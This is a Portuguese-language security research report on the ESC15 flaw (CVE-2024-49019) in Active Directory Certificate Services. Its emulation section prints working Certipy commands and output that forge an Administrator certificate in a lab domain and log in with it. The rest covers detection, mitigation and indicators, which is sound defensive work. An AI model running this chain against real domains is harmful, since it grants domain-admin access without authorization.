



RELATÓRIO DE PESQUISAS

ESC15 em Active Directory Certificate Services:
Mecanismos de ataque e estratégias de defesa

Acesse a nossa nova comunidade através do WhatsApp!

Heimdall Security Research



Acesse boletins diários sobre agentes de ameaças, *malwares*, indicadores de comprometimentos, TTPs e outras informações no *site* da ISH.

Boletins de Segurança – Heimdall

 Malware	 Malware	 Ransomware
ISH CONTAS DO FACEBOOK SÃO INVADIDAS POR EXTENSÕES MALICIOSAS DE NAVEGADORES Descoberto recentemente que atores maliciosos utilizam extensões de navegadores para realizar o roubo de cookies de sessões de sites como o Facebook. A extensão maliciosa é oferecida como um anexo do ChatGPT...	ISH ALERTA PARA RETORNO DO MALWARE EMOTET! O malware Emotet após permanecer alguns meses sem operações retornou com outro meio de propagação, via OneNote e também dos métodos já conhecidos via Planilhas e Documentos do Microsoft Office...	ISH GRUPO DE RANSOMWARE CLOP EXPLORANDO VULNERABILIDADE PARA NOVAS VÍTIMAS O grupo de Ransomware conhecido como Clop está explorando ativamente a vulnerabilidade conhecida como CVE-2023-0669, na qual realizou o ataque a diversas organizações e expôs os dados no site de data leaks...
BAIXAR	BAIXAR	BAIXAR

SUMÁRIO

1	Introdução executiva.....	5
2	Estratégico.....	5
2.1	Introdução	5
2.2	Vitimologia e Segmentos impactados	5
3	Tático	7
3.1	Funcionamento do protocolo Kerberos em ambiente Windows.....	7
4	Operacional.....	8
4.1	Emulação	8
4.2	Métodos de Detecção: ESC15	9
4.3	Mitigação de ataque: ESC15	9
4.4	Tabela MITRE ATT&CK.....	10
5	Conclusão	11
6	Recomendações.....	12
6.1	Indicadores de Comprometimento (IoC).....	14
7	Referências	15
8	Autores.....	15

LISTA DE TABELAS

Tabela 1 – Tabela MITRE ATT&CK.	10
--------------------------------------	----

LISTA DE FIGURAS

Figura 1 - Enumeração de modelos vulneráveis	8
Figura 2 - Descoberta de modelo vulnerável	8
Figura 3 - Explorando o ESC15 e gerando um certificado	8
Figura 4 - Escalando privilégios com o certificado gerado	9

1 INTRODUÇÃO EXECUTIVA

Este relatório busca apresentar uma análise estratégica, tática e operacional sobre a vulnerabilidade **ESC15**, catalogada como [CVE-2024-49019](#), que afeta ambientes de **Active Directory Certificate Services (AD CS)**. A exploração do problema permite a emissão de certificados forjados com políticas de aplicação arbitrárias, possibilitando autenticação indevida e escalada de privilégios em redes corporativas.

O documento fornece visão integrada do risco, mecanismos técnicos de exploração, métodos de detecção, mitigação e mapeamento às táticas e técnicas do **MITRE ATT&CK**, servindo como guia de defesa para equipes de segurança.

2 ESTRATÉGICO

2.1 INTRODUÇÃO

A vulnerabilidade **ESC15** representa um risco estratégico crítico para ambientes que utilizam certificados de versão 1 com a opção *Sujeito informado na solicitação* habilitada. Esse cenário permite que usuários com direitos de inscrição injetem **Application Policies** não previstas, resultando na emissão de certificados indevidos, como *Client Authentication* ou *Certificate Request Agent*.

O impacto é significativo: um ator de ameaça pode converter credenciais de baixo privilégio em acesso de **administrador de domínio**, comprometendo toda a infraestrutura de autenticação baseada em **Active Directory**. Isso amplia o risco de movimentos laterais, escalonamento de privilégios e controle indevido de sistemas críticos da organização. A gravidade desse alerta reforça a necessidade de revisão imediata dos modelos de certificado em uso e a aplicação de controles compensatórios que reduzam a superfície de ataque associada a esta falha lógica.

2.2 VITIMOLOGIA E SEGMENTOS IMPACTADOS

Apesar de sua complexidade técnica moderada, tem sido amplamente adotada por cibercriminosos por sua eficácia contra **ambientes mal configurados**. Os principais setores impactados incluem:

- **Setor financeiro:** instituições que mantêm ADs extensos e herdados, onde modelos de certificado padrão permanecem publicados.
- **Infraestruturas críticas e governo:** forte dependência de certificados para autenticação e legado de AD CS mal configurados tornam esses alvos altamente suscetíveis.
- **Educação e pesquisa:** universidades com ambientes heterogêneos e controles de emissão pouco rígidos.

- **Saúde e manufatura:** presença de sistemas industriais (OT/ICS) integrados ao domínio Windows, onde credenciais forjadas podem resultar em paralisações operacionais.
- **Empresas de tecnologia:** domínios híbridos com múltiplos serviços internos, uso de automação e grande número de contas de serviço.

Em geral, qualquer organização que utilize AD CS com modelos de versão 1 publicados encontra-se exposta. Atores maliciosos têm demonstrado interesse em abusar da técnica como parte da escalada pós-comprometimento inicial.

3 TÁTICO

3.1 FUNCIONAMENTO DO PROTOCOLO KERBEROS EM AMBIENTE WINDOWS

O **ESC15** é uma vulnerabilidade lógica que decorre do modo como os modelos de certificado de **versão 1** do *Active Directory Certificate Services* tratam o atributo *Application Policies*. Quando a opção **sujeito informado na solicitação** está habilitada, o serviço de autoridade certificadora permite que o próprio solicitante forneça valores que, posteriormente, serão replicados no certificado emitido. Esse comportamento, que deveria apenas flexibilizar cenários legítimos de autenticação, abre espaço para que um ator de ameaça injete políticas de uso não previstas originalmente no modelo.

O ponto crítico é que, em ambientes Windows, os controladores de domínio dão prioridade à avaliação das *Application Policies* sobre a análise dos EKUs definidos no modelo de certificado. Isso significa que, mesmo que o modelo publicado especifique apenas finalidades como “Servidor Web” ou “Assinatura de Código”, um adversário pode manipular o pedido e introduzir a política de **Client Authentication**. Na prática, esse desvio converte um certificado aparentemente inofensivo em uma credencial válida para autenticação de usuários, inclusive de contas de alto privilégio como administradores de domínio.

O fluxo tático do ataque geralmente inicia com o comprometimento de uma conta de usuário comum. Em seguida, o invasor realiza a enumeração de modelos publicados e identifica aqueles que são vulneráveis, ou seja, modelos de versão 1 com **“sujeito”** informado habilitado e nos quais a conta comprometida possui permissão de inscrição. Uma vez identificado um modelo vulnerável, o adversário formula um pedido de certificado malicioso. Nesse pedido, ele especifica o UPN (User Principal Name) de uma conta privilegiada como sendo o “sujeito” e insere a política de autenticação de cliente. Como o AD CS não valida de forma adequada essa manipulação, o certificado é emitido com êxito. Com esse certificado em mãos, o adversário consegue autenticar-se diretamente nos controladores de domínio via **PKINIT**, ou ainda explorar mapeamentos de certificado implícitos e explícitos para assumir a identidade da conta alvo.

Portanto, a exploração do ESC15 não exige exploração de memória ou execução de código arbitrário, mas sim um abuso de confiança e design, o que aumenta a atratividade para operadores de ameaça. É um **ataque silencioso**, que utiliza canais legítimos e certificados válidos, reduzindo a probabilidade de disparo de alertas em defesas tradicionais.

4 OPERACIONAL

4.1 EMULAÇÃO

Pré-requisito: *Credenciais de usuário do domínio com permissão de emissão de certificados.*

Ferramentas como **Certipy** já oferecem suporte à exploração de ESC15. O fluxo de emulação envolve:

- Descobrir modelos vulneráveis (certipy find).
- Solicitar certificado com Application Policy arbitrária (certipy req).
- Usar o certificado emitido para autenticação direta ou para forjar login de uma conta privilegiada.

Como mencionado primeiro é realizado um reconhecimento de modelos vulneráveis no AD CS.

```
L$ certipy find -u 'joao@purple.local' -p La... -dc-ip 192.168.68.74 -vulnerable -enabled
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'purple-NOT-FIN-001-CA' via CSRA
[!] Got error while trying to get CA configuration for 'purple-NOT-FIN-001-CA' via CSRA: CAsessionError: code: 0x80070
denied error.
[*] Trying to get CA configuration for 'purple-NOT-FIN-001-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'purple-NOT-FIN-001-CA'
[*] Saved BloodHound data to '20250929221547_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250929221547_Certipy.txt'
[*] Saved JSON output to '20250929221547_Certipy.json'
```

Figura 1 - Enumeração de modelos vulneráveis

```
L$ tail 20250929221547_Certipy.txt
Object Control Permissions
  Owner : PURPLE.LOCAL\Enterprise Admins
  Write Owner Principals : PURPLE.LOCAL\Domain Admins
  Write Dacl Principals : PURPLE.LOCAL\Enterprise Admins
  Write Property Principals : PURPLE.LOCAL\Domain Admins
  Write Property Principals : PURPLE.LOCAL\Enterprise Admins
  Write Property Principals : PURPLE.LOCAL\Domain Admins
  Write Property Principals : PURPLE.LOCAL\Enterprise Admins
[!] Vulnerabilities
  ESC15 : 'PURPLE.LOCAL\Everyone' can enroll, enrollee supplies subject and schema version is 1
```

Figura 2 - Descoberta de modelo vulnerável

Após a identificação de um modelo vulnerável à ESC15, é possível explorá-lo para solicitar um certificado em nome de outro usuário, neste caso um administrador.

```
L$ certipy req -dc-ip 192.168.68.74 -ca purple-NOT-FIN-001-CA -target-ip 192.168.68.74 -u joao@purple.local -p 'La... -template WebServer -upn Administrator@purple.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator@purple.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```

Figura 3 - Explorando o ESC15 e gerando um certificado

```
└─$ certipy auth -pfx administrator.pfx -dc-ip 192.168.68.74 -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://192.168.68.74:636'
[*] Authenticated to '192.168.68.74' as: u:PURPLE\Administrator
Type help for list of commands

# whoami
u:PURPLE\Administrator
```

Figura 4 - Escalando privilégios com o certificado gerado

4.2 MÉTODOS DE DETECÇÃO: ESC15

Inventário de modelos:

- Identificar todos os modelos de versão 1 publicados e verificar se permitem sujeito informado na solicitação.

Monitoramento de emissões:

- Procurar certificados emitidos com **Application Policies** que não correspondem ao ECU original do modelo.

Logs de autenticação:

- Correlacionar uso de certificados de autenticação em contas administrativas com modelos de certificado não destinados a esse propósito.

4.3 MITIGAÇÃO DE ATAQUE: ESC15

- Aplicar **patch oficial** da Microsoft (novembro de 2024).
- **Revogar e republicar modelos** em versão 2 ou superior.
- Desabilitar **Sujeito informado na solicitação** em todos os modelos publicados.
- **Restringir permissões** de inscrição a grupos administrativos controlados.
- Revisar periodicamente certificados emitidos e revogar os suspeitos.

4.4 TABELA MITRE ATT&CK

Este tópico apresenta as Táticas, Técnicas e Procedimentos (TTPs) identificados nesta ameaça, conforme o framework MITRE ATT&CK, oferecendo uma visão tática detalhada sobre o comportamento do adversário. O objetivo é permitir o mapeamento das técnicas utilizadas pelos atacantes, facilitando a implementação de contramedidas eficazes e o aprimoramento das defesas de segurança.

Tática	Técnica	Detalhes
Credential Access	T1649 Steal or Forge Authentication Certificates	Adversários roubam ou forjam certificados de autenticação.

Tabela 1 – Tabela MITRE ATT&CK.

5 CONCLUSÃO

O **ESC15 / CVE-2024-49019** constitui um vetor de ataque crítico contra o **AD CS**, explorando uma falha lógica em templates de certificado de **versão 1** com a opção *Supply in Request* habilitada. Essa condição permite que atores de ameaça, mesmo com credenciais de baixo privilégio e direitos de inscrição, emitam certificados contendo *Application Policies* não autorizadas, como *Client Authentication* ou *Certificate Request Agent*.

A exploração ocorre com baixo esforço técnico, utilizando ferramentas públicas, e possibilita a obtenção de **autenticação privilegiada** com mínima visibilidade, ampliando o risco de escalonamento de privilégios e comprometimento da infraestrutura de identidade baseada em Active Directory. Esse cenário evidencia a criticidade do vetor, por se apoiar em um design herdado e facilmente manipulável, tornando-se uma ameaça significativa à resiliência organizacional.

6 RECOMENDAÇÕES

Com base na análise da vulnerabilidade **ESC15**, são apresentadas a seguir recomendações estratégicas e práticas para mitigar riscos e fortalecer a postura de segurança em ambientes Active Directory Certificate Services (AD CS). A defesa contra esse tipo de ataque não depende apenas da aplicação de patches, mas de um processo contínuo de hardening, monitoramento e validação de controles.

Hardening de modelos de certificado

- Elimine o uso de **modelos de versão 1** em AD CS. Sempre que possível, migre para **versão 2 ou superior**, que oferecem maior controle e mitigam diretamente o vetor explorado.
- Desabilite a opção **“Sujeito informado na solicitação”** em todos os modelos publicados, exceto nos cenários estritamente necessários e sob controle rígido de governança.
- Restrinja permissões de inscrição, garantindo que apenas grupos administrativos controlados possam solicitar certificados em modelos sensíveis.

Revisão de certificados emitidos

- Realize inventários periódicos para identificar certificados emitidos com **Application Policies** que não correspondem ao ECU original do modelo.
- Revogue certificados suspeitos ou que apresentem divergências de finalidade, reforçando listas de revogação e a confiança na cadeia de certificação interna.

Atualizações e correções

- Aplique o **patch oficial da Microsoft** referente ao **CVE-2024-49019**, garantindo que todos os servidores de AD CS e Enrollment Agents estejam atualizados.
- Após a aplicação do patch, valide a efetividade da correção por meio de testes controlados de emissão.

Monitoramento e detecção

- Ative auditorias em logs de emissão de certificados e correlacione-os com eventos de autenticação Kerberos.
- Crie regras no SIEM para identificar certificados de autenticação de cliente emitidos por modelos originalmente destinados a outros usos.

Redução da superfície de ataque

- Evite publicar modelos herdados desnecessários, especialmente aqueles que possuam finalidades pouco utilizadas.

- Revise periodicamente a lista de modelos disponíveis e elimine duplicatas ou modelos de teste que possam ser explorados inadvertidamente.

Validação de controles e simulação

- Realize exercícios de **Red Team e Blue Team** para simular ataques baseados no ESC15, avaliando a eficácia das defesas.
- Estabeleça processos regulares de **Threat Hunting**, focados em identificar certificados anômalos e comportamentos de autenticação suspeitos.

6.1 INDICADORES DE COMPROMETIMENTO (IoC)

Para verificar comprometimentos em contas de serviço, alguns dados podem ser úteis, além dos eventos e parâmetros destacados na seção de detecção, outros dados podem contribuir para a análise, como logs de execução do PowerShell, que permitem verificar atividades maliciosas no host que realizou a solicitação.

Eventos de log relevantes:

- 4886 (AD CS): emissão de certificado.
- 4768 / 4769 (Kerberos): solicitações de TGT/TGS usando certificados.
- 4624 (Logon): autenticação com certificado em contas privilegiadas.

Artefatos de ataque

- Execução de ferramentas como Certipy ou Certutil com parâmetros de requisição incomuns.
- Certificados exportados/localizados em hosts comprometidos.

7 REFERÊNCIAS

- Heimdall by ISH Tecnologia
- [MITRE ATT&CK](#)
- [CVE](#)

8 AUTORES

- Cleriston de Freitas Santos Portela – Threat Researcher



heimdall
security research

A DIVISION OF ISH